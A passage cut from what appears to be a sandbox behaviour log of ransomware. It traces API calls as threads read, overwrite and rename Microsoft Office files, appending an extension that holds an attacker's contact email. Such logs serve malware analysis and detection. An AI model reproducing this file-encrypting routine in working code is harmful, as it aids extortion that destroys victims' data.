(HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd30 [0054.905] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418cf8 [0054.905] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460198 [0054.905] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460198) returned 1 [0054.906] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x9760048 [0054.907] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460198 [0054.907] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460030 [0054.907] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460030) returned 1 [0054.907] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418cf8) returned 1 [0054.907] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0054.907] WriteFile (in: hFile=0xf74, lpBuffer=0x9760048*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x42afaa4, lpOverlapped=0x0 | out: lpBuffer=0x9760048*, lpNumberOfBytesWritten=0x42afaa4*=0xc800, lpOverlapped=0x0) returned 1 [0055.946] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9760048) returned 1 [0055.946] SetFilePointerEx (in: hFile=0xf74, liDistanceToMove=0x177000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.946] ReadFile (in: hFile=0xf74, lpBuffer=0x9753840, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x42afaa4, lpOverlapped=0x0 | out: lpBuffer=0x9753840*, lpNumberOfBytesRead=0x42afaa4*=0xc800, lpOverlapped=0x0) returned 1 [0055.948] SetFilePointerEx (in: hFile=0xf74, liDistanceToMove=0x177000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.948] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bce8 [0055.948] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418de8 [0055.948] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4415a0 [0055.949] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4415a0) returned 1 [0055.950] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x9779058 [0055.951] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4415a0 [0055.951] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441550 [0055.951] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441550) returned 1 [0055.951] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418de8) returned 1 [0055.951] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bce8) returned 1 [0055.951] WriteFile (in: hFile=0xf74, lpBuffer=0x9779058*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x42afaa4, lpOverlapped=0x0 | out: lpBuffer=0x9779058*, lpNumberOfBytesWritten=0x42afaa4*=0xc800, lpOverlapped=0x0) returned 1 [0059.097] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9779058) returned 1 [0059.097] SetFilePointerEx (in: hFile=0xf74, liDistanceToMove=0x2d5de4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.097] ReadFile (in: hFile=0xf74, lpBuffer=0x9753840, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x42afaa4, lpOverlapped=0x0 | out: lpBuffer=0x9753840*, lpNumberOfBytesRead=0x42afaa4*=0xc800, lpOverlapped=0x0) returned 1 [0059.099] SetFilePointerEx (in: hFile=0xf74, liDistanceToMove=0x2d5de4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.099] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c318 [0059.099] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437a30 [0059.099] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428a00 [0059.099] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428a00) returned 1 [0059.100] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5eb80a8 [0059.100] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428a00 [0059.100] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428c80 [0059.100] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428c80) returned 1 [0059.101] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437a30) returned 1 [0059.101] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c318) returned 1 [0059.101] WriteFile (in: hFile=0xf74, lpBuffer=0x5eb80a8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x42afaa4, lpOverlapped=0x0 | out: lpBuffer=0x5eb80a8*, lpNumberOfBytesWritten=0x42afaa4*=0xc800, lpOverlapped=0x0) returned 1 [0064.384] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5eb80a8) returned 1 [0064.384] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x445d10 [0064.384] SetFilePointerEx (in: hFile=0xf74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.384] WriteFile (hFile=0xf74, lpBuffer=0x4448c8, nNumberOfBytesToWrite=0x145, lpNumberOfBytesWritten=0x42afb4c, lpOverlapped=0x0) Thread: id = 552 os_tid = 0xf90 [0049.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng")) returned 0x20 [0051.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG", dwFileAttributes=0x20) returned 1 [0054.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf88 [0054.978] GetFileSizeEx (in: hFile=0xf88, lpFileSize=0x6bafbb8 | out: lpFileSize=0x6bafbb8*=286848) returned 1 [0054.978] SetFilePointerEx (in: hFile=0xf88, liDistanceToMove=0x4607c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.978] ReadFile (in: hFile=0xf88, lpBuffer=0x6bafb3c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6bafb38, lpOverlapped=0x0 | out: lpBuffer=0x6bafb3c*, lpNumberOfBytesRead=0x6bafb38*=0x4, lpOverlapped=0x0) returned 1 [0054.988] SetFilePointerEx (in: hFile=0xf88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.988] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460288 [0054.988] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460350 [0054.988] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460210 [0054.988] NtQuerySystemTime (in: CurrentTime=0x6bafb18 | out: CurrentTime=0x6bafb18*=132174898189668000) returned 0x0 [0054.988] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0x1eb43d23 [0054.988] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0x15975e80 [0054.988] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0x138880e [0054.988] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0x401a3c1f [0054.988] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0x32a3a8c5 [0054.988] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0x73ed6dc9 [0054.988] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0x372a10d8 [0054.988] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0x1f9ee034 [0054.989] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0xa2c896e [0054.989] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0x11860986 [0054.989] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0x6dd80505 [0054.989] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0x68b1c4d7 [0054.989] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0x65299f77 [0054.989] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0xb8c35b7 [0054.989] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0x792a0dc9 [0054.989] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0x364ff109 [0054.989] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0x4b347298 [0054.989] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0x432047cf [0054.989] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0x48de5606 [0054.989] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0x6f25170d [0054.989] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0x5ad3b21a [0054.989] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0x7b0a841b [0054.989] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0x2047741 [0054.989] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0x7e27c58c [0054.989] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0x46cfa55a [0054.989] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0xbc109b8 [0054.989] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0x6014e38d [0054.989] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0x5753b349 [0054.989] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0x33b36bfb [0054.989] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0x24735eba [0054.989] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0x1d51b9a3 [0054.989] RtlRandomEx (in: Seed=0x6bafb24 | out: Seed=0x6bafb24) returned 0x2d74f451 [0055.005] SetFilePointerEx (in: hFile=0xf88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.005] ReadFile (in: hFile=0xf88, lpBuffer=0x5e47860, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x6bafad0, lpOverlapped=0x0 | out: lpBuffer=0x5e47860*, lpNumberOfBytesRead=0x6bafad0*=0xc800, lpOverlapped=0x0) returned 1 [0055.007] SetFilePointerEx (in: hFile=0xf88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.007] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd30 [0055.007] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4ef108 [0055.007] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460288 [0055.007] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460288) returned 1 [0055.008] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x979e870 [0055.009] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460288 [0055.009] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460210 [0055.009] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460210) returned 1 [0055.009] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef108) returned 1 [0055.009] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0055.009] WriteFile (in: hFile=0xf88, lpBuffer=0x979e870*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x6bafad0, lpOverlapped=0x0 | out: lpBuffer=0x979e870*, lpNumberOfBytesWritten=0x6bafad0*=0xc800, lpOverlapped=0x0) returned 1 [0055.960] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x979e870) returned 1 [0055.963] SetFilePointerEx (in: hFile=0xf88, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.963] ReadFile (in: hFile=0xf88, lpBuffer=0x5e47860, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x6bafad0, lpOverlapped=0x0 | out: lpBuffer=0x5e47860*, lpNumberOfBytesRead=0x6bafad0*=0xc800, lpOverlapped=0x0) returned 1 [0055.965] SetFilePointerEx (in: hFile=0xf88, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.965] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd30 [0055.965] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4ef108 [0055.965] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4410a0 [0055.965] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4410a0) returned 1 [0055.966] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x979e870 [0055.966] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4410a0 [0055.966] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441280 [0055.966] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441280) returned 1 [0055.966] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef108) returned 1 [0055.966] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0055.966] WriteFile (in: hFile=0xf88, lpBuffer=0x979e870*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x6bafad0, lpOverlapped=0x0 | out: lpBuffer=0x979e870*, lpNumberOfBytesWritten=0x6bafad0*=0xc800, lpOverlapped=0x0) returned 1 [0059.107] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x979e870) returned 1 [0059.113] SetFilePointerEx (in: hFile=0xf88, liDistanceToMove=0x39880, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.113] ReadFile (in: hFile=0xf88, lpBuffer=0x5e47860, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x6bafad0, lpOverlapped=0x0 | out: lpBuffer=0x5e47860*, lpNumberOfBytesRead=0x6bafad0*=0xc800, lpOverlapped=0x0) returned 1 [0059.115] SetFilePointerEx (in: hFile=0xf88, liDistanceToMove=0x39880, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.115] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c318 [0059.115] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437a30 [0059.115] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428bb8 [0059.115] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428bb8) returned 1 [0059.116] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x979e870 [0059.116] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428bb8 [0059.116] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428c08 [0059.117] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428c08) returned 1 [0059.117] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437a30) returned 1 [0059.117] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c318) returned 1 [0059.117] WriteFile (in: hFile=0xf88, lpBuffer=0x979e870*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x6bafad0, lpOverlapped=0x0 | out: lpBuffer=0x979e870*, lpNumberOfBytesWritten=0x6bafad0*=0xc800, lpOverlapped=0x0) returned 1 [0064.393] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x979e870) returned 1 [0064.393] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x445bd8 [0064.393] SetFilePointerEx (in: hFile=0xf88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.393] WriteFile (hFile=0xf88, lpBuffer=0x4246d0, nNumberOfBytesToWrite=0x149, lpNumberOfBytesWritten=0x6bafb78, lpOverlapped=0x0) Thread: id = 553 os_tid = 0xf94 [0049.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclientmanifest.man")) returned 0x20 [0051.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man", dwFileAttributes=0x20) returned 1 [0054.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclientmanifest.man"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf50 [0054.783] GetFileSizeEx (in: hFile=0xf50, lpFileSize=0xd9efe84 | out: lpFileSize=0xd9efe84*=26758) returned 1 [0054.784] SetFilePointerEx (in: hFile=0xf50, liDistanceToMove=0x6882, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.784] ReadFile (in: hFile=0xf50, lpBuffer=0xd9efe08, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xd9efe04, lpOverlapped=0x0 | out: lpBuffer=0xd9efe08*, lpNumberOfBytesRead=0xd9efe04*=0x4, lpOverlapped=0x0) returned 1 [0054.794] SetFilePointerEx (in: hFile=0xf50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.794] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460008 [0054.794] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460738 [0054.794] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460030 [0054.794] NtQuerySystemTime (in: CurrentTime=0xd9efde4 | out: CurrentTime=0xd9efde4*=132174898187796000) returned 0x0 [0054.794] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x74dba55 [0054.794] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x79939630 [0054.794] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x3cf3e345 [0054.794] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x56f860a4 [0054.794] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x7086678e [0054.794] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x7c04e071 [0054.794] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x7f39fbe9 [0054.794] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x15b1ffc9 [0054.794] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x1b1569e [0054.794] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x125a5468 [0054.794] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x71c94170 [0054.794] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x26c0e058 [0054.794] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x4c669b9 [0054.794] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x6d196293 [0054.794] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x62d77c7f [0054.794] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x579bd2ed [0054.794] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x11be03c8 [0054.794] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x747ccd48 [0054.794] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x3a82402e [0054.794] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x63c6d712 [0054.795] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x53aba896 [0054.795] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x4c97e773 [0054.795] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x4ae17982 [0054.795] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x5746216d [0054.795] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x254424ea [0054.795] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x36145fcb [0054.795] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x5437115e [0054.795] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x1dd99262 [0054.795] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x7c8db18e [0054.795] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x77c8d767 [0054.795] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x475d484f [0054.795] RtlRandomEx (in: Seed=0xd9efdf0 | out: Seed=0xd9efdf0) returned 0x4f3990a3 [0054.807] ReadFile (in: hFile=0xf50, lpBuffer=0x9721820, nNumberOfBytesToRead=0x6886, lpNumberOfBytesRead=0xd9efde0, lpOverlapped=0x0 | out: lpBuffer=0x9721820*, lpNumberOfBytesRead=0xd9efde0*=0x6886, lpOverlapped=0x0) returned 1 [0054.809] SetFilePointerEx (in: hFile=0xf50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.809] WriteFile (in: hFile=0xf50, lpBuffer=0x972e028*, nNumberOfBytesToWrite=0x6886, lpNumberOfBytesWritten=0xd9efddc, lpOverlapped=0x0 | out: lpBuffer=0x972e028*, lpNumberOfBytesWritten=0xd9efddc*=0x6886, lpOverlapped=0x0) returned 1 [0055.910] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441640 [0055.910] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4411b8 [0055.910] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4411b8) returned 1 [0055.910] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x972e028) returned 1 [0055.910] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9721820) returned 1 [0055.910] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418fc8) returned 1 [0055.910] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb38) returned 1 [0055.910] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x37) returned 0x440fa0 [0055.910] SetFilePointerEx (in: hFile=0xf50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.913] WriteFile (in: hFile=0xf50, lpBuffer=0x44d0c0*, nNumberOfBytesToWrite=0x11b, lpNumberOfBytesWritten=0xd9efe44, lpOverlapped=0x0 | out: lpBuffer=0x44d0c0*, lpNumberOfBytesWritten=0xd9efe44*=0x11b, lpOverlapped=0x0) returned 1 [0062.619] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d0c0) returned 1 [0063.257] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440fe0) returned 1 [0063.257] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4411b8) returned 1 [0063.257] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440fa0) returned 1 [0063.257] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441640) returned 1 [0063.257] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460738) returned 1 [0063.257] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ffb8) returned 1 [0063.257] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ffe0) returned 1 [0063.257] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xca) returned 0x40d460 [0063.257] wcscpy (in: _Dest=0x40d460, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man" [0063.257] wcscat (in: _Dest=0x40d460, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man.mailto[2Hamlampampom@cock.li].cd46d" [0063.257] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xd9efdfc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.257] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe0) returned 0x12cf98b0 [0063.259] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf98b0) returned 1 [0063.259] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ae188) returned 1 [0063.259] NtQueryInformationFile (in: FileHandle=0xf50, IoStatusBlock=0xd9efe08, FileInformation=0xd9efde0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xd9efe08, FileInformation=0xd9efde0) returned 0x0 [0063.259] NtSetInformationFile (FileHandle=0xf50, IoStatusBlock=0xd9efe08, FileInformation=0xd9efde0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.260] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d460) returned 1 [0063.260] FlushFileBuffers (hFile=0xf50) returned 1 [0066.216] CloseHandle (hObject=0xf50) Thread: id = 554 os_tid = 0xf98 [0049.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man" 